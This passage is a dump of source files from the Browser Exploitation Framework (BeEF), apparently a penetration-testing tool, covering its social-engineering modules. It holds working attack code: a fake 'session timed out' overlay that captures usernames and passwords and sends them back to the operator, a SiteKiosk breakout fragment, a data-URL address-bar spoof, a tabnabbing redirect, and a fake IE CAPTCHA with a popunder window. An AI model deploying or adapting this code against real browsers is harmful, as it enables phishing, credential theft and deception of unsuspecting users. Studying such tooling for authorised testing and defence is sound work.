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'; var answer= ''; beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null); $j(document).attr('title', $j(this).html()); document.body.scroll = 'no'; document.documentElement.style.overflow = 'hidden'; // set up darkening function grayOut(vis, options) { // Pass true to gray out screen, false to ungray // options are optional. This is a JSON object with the following (optional) properties // opacity:0-100 // Lower number = less grayout higher = more of a blackout // zindex: # // HTML elements with a higher zindex appear on top of the gray out // bgcolor: (#xxxxxx) // Standard RGB Hex color code // grayOut(true, {'zindex':'50', 'bgcolor':'#0000FF', 'opacity':'70'}); // Because options is JSON opacity/zindex/bgcolor are all optional and can appear // in any order. Pass only the properties you need to set. var options = options || {}; var zindex = options.zindex || 50; var opacity = options.opacity || 70; var opaque = (opacity / 100); var bgcolor = options.bgcolor || '#000000'; var dark=document.getElementById('darkenScreenObject'); if (!dark) { // The dark layer doesn't exist, it's never been created. So we'll // create it here and apply some basic styles. // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917 var tbody = document.getElementsByTagName("body")[0]; var tnode = document.createElement('div'); // Create the layer. tnode.style.position='absolute'; // Position absolutely tnode.style.top='0px'; // In the top tnode.style.left='0px'; // Left corner of the page tnode.style.overflow='hidden'; // Try to avoid making scroll bars tnode.style.display='none'; // Start out Hidden tnode.id='darkenScreenObject'; // Name it so we can find it later tbody.appendChild(tnode); // Add it to the web page dark=document.getElementById('darkenScreenObject'); // Get the object. } if (vis) { // Calculate the page width and height if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) { var pageWidth = document.body.scrollWidth+'px'; var pageHeight = document.body.scrollHeight+'px'; } else if( document.body.offsetWidth ) { var pageWidth = document.body.offsetWidth+'px'; var pageHeight = document.body.offsetHeight+'px'; } else { var pageWidth='100%'; var pageHeight='100%'; } //set the shader to cover the entire page and make it visible. dark.style.opacity=opaque; dark.style.MozOpacity=opaque; dark.style.filter='alpha(opacity='+opacity+')'; dark.style.zIndex=zindex; dark.style.backgroundColor=bgcolor; dark.style.width= pageWidth; dark.style.height= pageHeight; dark.style.display='block'; } else { dark.style.display='none'; } } // function to send response function win(){ document.getElementById('hax').innerHtml='

    Thank you for re-authenticating, you will now be returned to the application

    '; answer = document.getElementById('uname').value+':'+document.getElementById('pass').value; } // perform darkening grayOut(true); function checker(){ processval = document.body.lastChild.getElementsByTagName("input")[2].value; if (processval == "Processing..") { uname = document.body.lastChild.getElementsByTagName("input")[0].value; pass = document.body.lastChild.getElementsByTagName("input")[1].value; answer = uname+":"+pass send(answer); // set lastchild invisible document.body.lastChild.setAttribute('style','display:none'); // lighten screen grayOut(false); clearInterval(credgrabber); $j('#hax').remove(); $j('#darkenScreenObject').remove(); } } // floating div function writeit() { sneakydiv = document.createElement('div'); sneakydiv.setAttribute('id', 'hax'); sneakydiv.setAttribute('style', 'width:400px;height:320px;position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000'); sneakydiv.setAttribute('align', 'center'); document.body.appendChild(sneakydiv); sneakydiv.innerHTML= '

    Your session has timed out!

    For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.

    Username:
    Password:

    '; credgrabber = setInterval(checker,1000); } writeit(); ================================================ FILE: modules/social_engineering/sitekiosk_breakout/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if(beef.browser.isIE()){ // application='yes' is IE-only and needed to load the HTA into an IFrame. // in this way you can have your phishing page, and load the HTA on top of it // beef.dom.createIframe('hidden', {'src':hta_url,'application':'yes'}); bb = new MSBlobBuilder(); bb.append('" beef.debug("[Spoof Address Bar (data)] Redirecting to data URL..."); } catch (e) { beef.debug("[Spoof Address Bar (data)] could not redirect: "+e.message) beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=something went horribly wrong: " + e.message, beef.are.status_error()); } }); ================================================ FILE: modules/social_engineering/spoof_addressbar_data/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: spoof_addressbar_data: enable: true category: "Social Engineering" name: "Spoof Address Bar (data URL)" description: "This module redirects the browser to a legitimate looking URL with a ''data'' scheme, such as ''data:text/html,http://victim.com'', with a BeEF hook and a user-specified URL in a 100% x 100% iframe." authors: ["bcoles"] target: user_notify: ["O", "FF", "C"] not_working: ["IE"] ================================================ FILE: modules/social_engineering/spoof_addressbar_data/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Spoof_addressbar_data < BeEF::Core::Command def self.options [ { 'name' => 'spoofed_url', 'ui_label' => 'Spoofed URL', 'type' => 'text', 'value' => 'https://example.com/' }, { 'name' => 'real_url', 'ui_label' => 'Real URL', 'type' => 'text', 'value' => 'https://example.com/' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/social_engineering/tabnabbing/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var url = "<%= @url %>"; var wait = <%= @wait %>*1000*60; var tabnab_timer; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=waiting for tab to become inactive'); // begin countdown when the tab loses focus $j(window).blur(function(e) { begin_countdown(); // stop countdown if the tab regains focus }).focus(function(e) { clearTimeout(tabnab_timer); }); begin_countdown = function() { tabnab_timer = setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=redirected'); window.location = url; }, wait); } }); ================================================ FILE: modules/social_engineering/tabnabbing/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: tabnabbing: enable: true category: "Social Engineering" name: "TabNabbing" description: "This module redirects to the specified URL after the tab has been inactive for a specified amount of time." authors: ["bcoles"] target: user_notify: ["All"] ================================================ FILE: modules/social_engineering/tabnabbing/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Tabnabbing < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http' uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/basic.html" [ { 'name' => 'url', 'description' => 'Redirect URL', 'ui_label' => 'URL', 'value' => uri, 'width' => '400px' }, { 'name' => 'wait', 'description' => 'Wait (minutes)', 'ui_label' => 'Wait (minutes)', 'value' => '15', 'width' => '150px' } ] end def post_execute content = {} content['tabnab'] = @datastore['tabnab'] save content end end ================================================ FILE: modules/social_engineering/text_to_voice/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var url = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/objects/msg-<%= @command_id %>.mp3'; try { var sound = new Audio(url); sound.play(); beef.debug('[Text to Voice] Playing mp3: ' + url); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=message sent", beef.are.status_success()); } catch (e) { beef.debug("[Text to Voice] HTML5 audio unsupported. Could not play: " + url); beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error()); } }); ================================================ FILE: modules/social_engineering/text_to_voice/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: text_to_voice: enable: true category: "Social Engineering" name: "Text to Voice" description: "Convert text to mp3 and play it on the hooked browser. Note: this module requires Lame and eSpeak to be installed." authors: ["bcoles"] # http://caniuse.com/audio target: working: ["All"] not_working: IE: min_ver: 1 max_ver: 8 FF: min_ver: 1 max_ver: 2 S: min_ver: 1 max_ver: 3 ================================================ FILE: modules/social_engineering/text_to_voice/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Text_to_voice < BeEF::Core::Command def pre_send # Check for required binaries if IO.popen(%w[which espeak], 'r').read.to_s.eql?('') print_error('[Text to Voice] eSpeak is not in $PATH (brew install espeak on macOS, apt-get install espeak on Linux)') return end if IO.popen(%w[which lame], 'r').read.to_s.eql?('') print_error('[Text to Voice] Lame is not in $PATH (brew install lame on macOS, apt-get install lame on Linux)') return end # Load espeak gem (only if binaries are available) begin require 'espeak' include ESpeak rescue LoadError, StandardError => e print_error("[Text to Voice] Failed to load espeak gem: #{e.message}") return end # Validate module options message = nil language = nil @datastore.each do |input| message = input['value'] if input['name'] == 'message' language = input['value'] if input['name'] == 'language' end # Validate language begin unless Voice.all.map(&:language).include?(language) print_error("[Text to Voice] Language '#{language}' is not supported") print_more("Supported languages: #{Voice.all.map(&:language).join(',')}") return end rescue StandardError => e print_error("[Text to Voice] Could not validate language: #{e.message}") return end # Convert text to voice, encode as mp3 and write to module directory begin msg = Speech.new(message.to_s, voice: language) mp3_path = "modules/social_engineering/text_to_voice/mp3/msg-#{@command_id}.mp3" msg.save(mp3_path) rescue StandardError => e print_error("[Text to Voice] Could not create mp3: #{e.message}") return end # Mount the mp3 to /objects/ BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind( "/#{mp3_path}", "/objects/msg-#{@command_id}", 'mp3' ) end def self.options [ { 'name' => 'message', 'description' => 'Text to read', 'type' => 'textarea', 'ui_label' => 'Text', 'value' => 'Hello; from beef', 'width' => '400px' }, { 'name' => 'language', 'description' => 'Language', 'type' => 'text', 'ui_label' => 'Language', 'value' => 'en' } ] end def post_execute content = {} content['result'] = @datastore['result'] save content BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind("/objects/msg-#{@command_id}.mp3") end end ================================================ FILE: modules/social_engineering/ui_abuse_ie/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if(beef.browser.isIE()){ var captcha_message = ""; var tab_message = ""; var captcha_src = ""; // TODO this image is either corrupted or simply thew GIF animation doesn't work var blink_src = "data:image/gif;base64,R0lGODdhIAF3ALMAAAAAAEqN/3Wo/8TExMzMzNXV1eXl5fPz8////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkyAAkALAAAAAAgAXcAAAT/EMlJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zv/8CgcEgsGo/IpHLJbDqf0Kh0Sq1ar9isdsvter/gsHhMLpvP6LR6zW673/C4fE6v2+/4vH7P7/v/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXPgIBm5ydnp+goaKjpKWmp6ipqqusra6vsAEaAQMEtre4ubq7vL2+v8DBwsPExcbHyMnKy7MFBs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+SzBgeY6RwBBuruGezv8hXx8/b19vL4+e77/On+/l0KKLASwYKTDiKMpHDho4YOG0GMuGgixUQWLx7KqLEQx46D9T6CDCRy5J+SJvugTLlnJcs8Ll/eYYdOZiJNsXLq3Mmzp8+fQGPZHEq0qNGjSJMqXcq0qdOnUKNKnUq1qtWrWC8k2Mq1q9evYMOKHUu2rNmzaNOqXcu2rdu3cOPKnUu3rt27ePPq3cu3r9+/gAMLHky4sOHDiBMrXsy4sePHkCNLnky5suXLmDNr3sy5s+fPoEOLHk26tOnTqFOrXs26tevXsGPLnk27tu3buHPr3s27t+/fwIMLH068uPHjyJMrX868ufPn0KNLn069uvXr2LNr3869u/fv4MOLH0++vPnz6NOrX8++vfv38OPLn0+/vv37yCMAACH5BAkyAAkALAAAAAAgAU0AAAT/EMlJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zv/8CgcEgsGo/IpHLJbDqf0Kh0Sq1ar9isdsvter/gsHhMLpvP6LR6zW673/C4fE6v2+/4vH7P7/v/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXPgIBm5ydnp+goaKjpKWmp6ipqqusra6vsAEaAQMEtre4ubq7vL2+v8DBwsPExcbHyMnKy7MFBs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+SzBgeY6RwBBuruGezv8hXxGADzlvUX9/iU+hb8+kn6VyGgQEgEKRg86CjhhIUMGTmUADGiookIKlpEhFHjRkMdVz82CilyEcmSiU6iPKRyZaGWLgfBjBloJs0/Nm/2wajzZbueEn8CvXhuqCJNsZIqXcq0qdOnUGMZnUq1qtWrWLNq3cq1q9evYMOKHUu2rNmzaNOqXTsiAgA7"; switch (beef.browser.getBrowserLanguage().substring(0,2)){ case "en": lang = "en"; captcha_message = "

    Our systems have detected unusual traffic from your computer network.


    In order to continue, please solve the following Captcha after pressing the [TAB] key:

    "; tab_message = "You must press the [TAB] key first, then solve the Captcha."; captcha_src = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABYPERMRDhYTEhMZFxYaITckIR4eIUQwMyg3UEZUU09GTUxYY39sWF54X0xNbpZweIOHjpCOVmqcp5uKpn+Ljon/wAALCAA5ASwBAREA/8QAGgABAAIDAQAAAAAAAAAAAAAAAAQFAgMGAf/EAC4QAAEEAgEDAwMCBwEAAAAAAAABAgMEBRESBjFBEyFRFDJxIiMVFkJSYnKRgf/aAAgBAQAAPwDrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARr12Kixr5toxy638Ehj2yMR7FRWqm0VD0AAAAAAAAAAAAFVey8lCw5s9GZYE7TR/qTt5Twb6+Xx9iNHx2o9L4culJjJGSN5Me1yfKLsyMHyxx/fI1v5U0W8hWqRJLLInF3bXvsprHVtZiqyKCRz/CKmtlY7qXLNstV0HFir9nHuhvylm9k8oynVesSI1FXwZyVsxhYPqW2vqGN+9i/BlHBLn6j3xXXNa77onpvipGx2SyWOsrjHRtmVi6airr/h0dfJq6NzrNaWBze6Km0IEvUcVe61j3Nkrv7Pb3b+ULyKaOZiPiejmr7oqKZgGmzagqM52JGxt+VPa1mG1GkkEjZGfKKbQAAAAAAAARcm9rcbbVXfbE7evwcfgen4cnQknkmc1+1a1G+PyTMRgcjXtyQzyObVciormP1v40R87TmxtmCKnasOfL/c8zn6ZyMsTZFtLJIvdrl7F9hcWtOi2G0rZXIu/f30c7kJ6kfVPKVE9Jipv4OtqzVLsaSwcJGp2XXYpM7Xu1skzIUYuaomnIiGp+Wylys+v/AA13J6a34JnS+Ls4+KR1nTVk7NTwV/VcEtXIQ5CFqr86MIOrJpLMTHwJ6a+zk8l3matOTFzSvgai8NoutKhQdN0Es1ZJHW5YeK6arXaL29amx2PjZHKs8z14tc49hht+hztZJGvVN/p1pCNislYuy2KL5UV7E/TMxCrbUvZHLrSs2PWhgdycqkl0seD6hbDEvCvMicm79kOqY5r2o5qoqL2VD0AAAAAAAAo8r06y698texJA9++SbVWu/wDCuxuHzOItp9O6OWFyor05aRx0l6y+pX9VleSwqL9kfc4nLXLuSyMdqGnNF6TdIitVfPc63CWb1msrr1b0V/p/yT8DJ079t3GvcSvF5RG+/wD0gwdKU2u52ZJJ372qqutl3Xrw1o0jgjaxqeEQ2jSAxkjZI1Wvajmr4VCOzG0mORza8aKi7RdGGXqvt46WCJdOcnscZFg8wn7TWOaxV9/f2LC1W+nyFSG/I5a8bNK7xsmWEwrNMja6zI7sxjlUyderYmJ0MFNyWXpvhG3evypGwUGXiSeVIGsdKu+UndVNv8sy3LP1OStc3r3axDo4IWQQtijTTWppDMAAAAAAAAAAAAAAAGuevDYZwmja9vwqGMFStWT9iBkf+qGzgzly4pv50ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//9k="; break; case "it": lang = "it"; captcha_message = "

    I nostri sistemi hanno rilevato traffico inusuale proveniente dal tuo computer.


    Per continuare, risolvi il seguente Captcha dopo aver premuto il tasto [TAB]:

    "; tab_message = "Devi prima premere il tasto [TAB], poi risolvere il Captcha."; captcha_src = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABYPERMRDhYTEhMZFxYaITckIR4eIUQwMyg3UEZUU09GTUxYY39sWF54X0xNbpZweIOHjpCOVmqcp5uKpn+Ljon/wAALCAA5ASwBAREA/8QAGgABAAMBAQEAAAAAAAAAAAAAAAMEBQIBBv/EADAQAAEEAgAEBQIFBQEAAAAAAAABAgMEBREGEhMhIjEyQVEVcRRCUmGRIzNygbHh/9oACAEBAAA/APrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ1/M06M7YJFc6VfysbtUJoMlVnc1rZOVzvJr05VX+S2ARyzxRJuSRrfupHDeqzqqRTMe5PZF7mYnEUS5BlV1aVnO7l5nJpBlbuWrSPfXrxvgZ35lXupdxuQ+oY9LEbU6mu7d+5Rk4iZVldFfrSQPTy90cd1eJKM/q54k/U5vb+TWjljkjSRj0cxfdFOmua70uRfsp6AAAAAAAAAAAD5WJ15vEtrUMDp3RtVEf22iInkpLnLVmWk6ObFzNkTuyRjkcjVT32hAzI37ENOm6dKr3xq6SV/ZdIqohesMq16jl+sSdVE2jlm33+xVpZ2w7ETSyKjnsdyNevbf7ndCSnGnVk6l2y7uumqqJ+xGlG1bzMVlldtRiLtUVe7k+x1xLPHFkqTV01WrzK49zHEUa13QU2rM9W6VyJ2QqcKZKOs2SGdHorl2nh7HHEeRqXLlbpuR7GO8e2mtemxq4R6MWJGqzwp77IuDZurjXxOXfK5eyr7EeUh/AZOslKZ7HSv8TN7Q1MrNkK0aTVum5jW7cjjvC5F2RqdZ8fIqLpfgiuZ+nVn6CK6WT9MabKbuKq8cyRy15Wb/AFIT5fMLDFHFRb1LMyba1PZPkxbbs9j4Uu2LOvFrp7PqsZZdboRTvbyue3aoWgAAAAAAACnex8dtWybWOeP+3K1dK3/wz5mcRORImPqonksqea/6IMji5o71a+sP41GsRk7NJt3b1IhxNfwqR8tXHNmsL2SJIdKi/v2LF3FT3sPExGRwTtXn6bU037HcMuYZGldlCFjkTXU5/CW6GOdBIs9mZZ7DvdfJPshPbx9W4qLYha9U8lU9hpVYG8sUDGovwhI2vCz0xMT7IROx9N67dXjVf8StdwdG41EfHy6TScvbRHicHFi5nvile5HflXyMfIPsUs++3NXfOzXgRE8infz9zIyJT5Urseunb8zUzE30jCw1qrkRZO3Mn/Szg6VGjTbZfLG+R6bdI5TOkTG3shPa5JZmRNVyuX09iviM1TgtSzzxPdM9dN5U3pPhDSsQ2+IJmc8Tq1Ni78fqcfRRRtiibGxNNamkOgAAAAAAAAAeI1qLtGpv50egAAAHioi+aIpRs4ahal6s1dqv+U7HGTw1bIwMiftnJ6Vb7FKtwpUid/Vmlmank1V0hsx1K8UHQZCxsfu1E7KRw46lA7mirRtd8o0tAAAAAAAAAAAAAAAAAAAAAAAAAAAAH//Z"; break; default: // defaults to english lang = "en"; captcha_message = "

    Our systems have detected unusual traffic from your computer network.


    In order to continue, please solve the following Captcha after pressing the [TAB] key:

    "; tab_message = "You must press the [TAB] key first, then solve the Captcha."; captcha_src = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABYPERMRDhYTEhMZFxYaITckIR4eIUQwMyg3UEZUU09GTUxYY39sWF54X0xNbpZweIOHjpCOVmqcp5uKpn+Ljon/wAALCAA5ASwBAREA/8QAGgABAAIDAQAAAAAAAAAAAAAAAAQFAgMGAf/EAC4QAAEEAgEDAwMCBwEAAAAAAAABAgMEBRESBjFBEyFRFDJxIiMVFkJSYnKRgf/aAAgBAQAAPwDrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARr12Kixr5toxy638Ehj2yMR7FRWqm0VD0AAAAAAAAAAAAFVey8lCw5s9GZYE7TR/qTt5Twb6+Xx9iNHx2o9L4culJjJGSN5Me1yfKLsyMHyxx/fI1v5U0W8hWqRJLLInF3bXvsprHVtZiqyKCRz/CKmtlY7qXLNstV0HFir9nHuhvylm9k8oynVesSI1FXwZyVsxhYPqW2vqGN+9i/BlHBLn6j3xXXNa77onpvipGx2SyWOsrjHRtmVi6airr/h0dfJq6NzrNaWBze6Km0IEvUcVe61j3Nkrv7Pb3b+ULyKaOZiPiejmr7oqKZgGmzagqM52JGxt+VPa1mG1GkkEjZGfKKbQAAAAAAAARcm9rcbbVXfbE7evwcfgen4cnQknkmc1+1a1G+PyTMRgcjXtyQzyObVciormP1v40R87TmxtmCKnasOfL/c8zn6ZyMsTZFtLJIvdrl7F9hcWtOi2G0rZXIu/f30c7kJ6kfVPKVE9Jipv4OtqzVLsaSwcJGp2XXYpM7Xu1skzIUYuaomnIiGp+Wylys+v/AA13J6a34JnS+Ls4+KR1nTVk7NTwV/VcEtXIQ5CFqr86MIOrJpLMTHwJ6a+zk8l3matOTFzSvgai8NoutKhQdN0Es1ZJHW5YeK6arXaL29amx2PjZHKs8z14tc49hht+hztZJGvVN/p1pCNislYuy2KL5UV7E/TMxCrbUvZHLrSs2PWhgdycqkl0seD6hbDEvCvMicm79kOqY5r2o5qoqL2VD0AAAAAAAAo8r06y698texJA9++SbVWu/wDCuxuHzOItp9O6OWFyor05aRx0l6y+pX9VleSwqL9kfc4nLXLuSyMdqGnNF6TdIitVfPc63CWb1msrr1b0V/p/yT8DJ079t3GvcSvF5RG+/wD0gwdKU2u52ZJJ372qqutl3Xrw1o0jgjaxqeEQ2jSAxkjZI1Wvajmr4VCOzG0mORza8aKi7RdGGXqvt46WCJdOcnscZFg8wn7TWOaxV9/f2LC1W+nyFSG/I5a8bNK7xsmWEwrNMja6zI7sxjlUyderYmJ0MFNyWXpvhG3evypGwUGXiSeVIGsdKu+UndVNv8sy3LP1OStc3r3axDo4IWQQtijTTWppDMAAAAAAAAAAAAAAAGuevDYZwmja9vwqGMFStWT9iBkf+qGzgzly4pv50ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//9k="; break; } var grayOut = function(vis, options) { var options = options || {}; var zindex = options.zindex || 50; var opacity = options.opacity || 70; var opaque = (opacity / 100); var bgcolor = options.bgcolor || '#000000'; var dark=document.getElementById('darkenScreenObject'); if (!dark) { var tbody = document.getElementsByTagName("body")[0]; var tnode = document.createElement('div'); tnode.style.position='absolute'; tnode.style.top='0px'; tnode.style.left='0px'; tnode.style.overflow='hidden'; tnode.style.display='none'; tnode.id='darkenScreenObject'; tbody.appendChild(tnode); dark=document.getElementById('darkenScreenObject'); } if (vis) { var pageWidth='100%'; var pageHeight='100%'; dark.style.opacity=opaque; dark.style.MozOpacity=opaque; dark.style.filter='alpha(opacity='+opacity+')'; dark.style.zIndex=zindex; dark.style.backgroundColor=bgcolor; dark.style.width= pageWidth; dark.style.height= pageHeight; dark.style.display='block'; } else { dark.style.display='none'; } }; function spawnPopunder(){ var url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/underpop.html' var pu = window.open(url,'','top=0, left=0,width=500,height=500'); pu.blur(); } // The keypress focus is on the popunder, but the following would be nice to have to force the victim to press TAB // var tab_pressed = false; // function checkTabPressed(){ // beef.debug(event.keyCode); // if(tab_pressed && event.keyCode != 9){ // // all good // }else if(event.keyCode == 9){ // tab_pressed = true; // }else{ // alert(tab_message); // } // } if(beef.browser.isIE9() || beef.browser.isIE10()){ document.body.onclick = function(){ spawnPopunder(); grayOut(true,{'opacity':'70'}); var fake_captcha = document.createElement('div'); fake_captcha.setAttribute('id', 'popup'); fake_captcha.setAttribute('style', 'width:400px;position:absolute; top:20%; left:40%; z-index:51; background-color:white;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000'); fake_captcha.setAttribute('align', 'center'); // using onkeydown because onkeypress is not capturing TAB in IE //fake_captcha.onkeydown = function(){checkTabPressed();}; document.body.appendChild(fake_captcha); fake_captcha.innerHTML= '
    ' + captcha_message + '
